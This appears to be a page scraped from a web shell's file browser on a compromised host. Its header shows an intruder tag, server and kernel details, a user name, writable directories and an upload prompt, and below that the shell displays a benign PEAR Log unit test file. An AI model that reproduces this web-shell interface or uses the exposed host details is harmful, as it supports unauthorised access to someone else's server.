Heray-Was-Here
Server : Apache
System : Linux vps103298.mylogin.co 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : calvet ( 273824)
PHP Version : 7.4.33
Disable Function : NONE
Directory :  /proc/thread-self/root/usr/local/php5.3/lib/php/test/Log/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/local/php5.3/lib/php/test/Log/tests/file.phpt
--TEST--
Log: File Handler
--INI--
date.timezone=UTC
--FILE--
<?php

require_once 'Log.php';

$filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'test.log';
if (file_exists($filename)) unlink($filename);

/* Write some entries to the log file. */
$conf = array('lineFormat' => '%2$s [%3$s] %4$s');
$logger = Log::singleton('file', $filename, '', $conf);

for ($i = 0; $i < 3; $i++) {
    $logger->log("Log entry $i");
}
$logger->close();

/* Dump the contents of the log file. */
echo file_get_contents($filename);

/* Clean up. */
if (file_exists($filename)) unlink($filename);

--EXPECT--
 [info] Log entry 0
 [info] Log entry 1
 [info] Log entry 2

Hry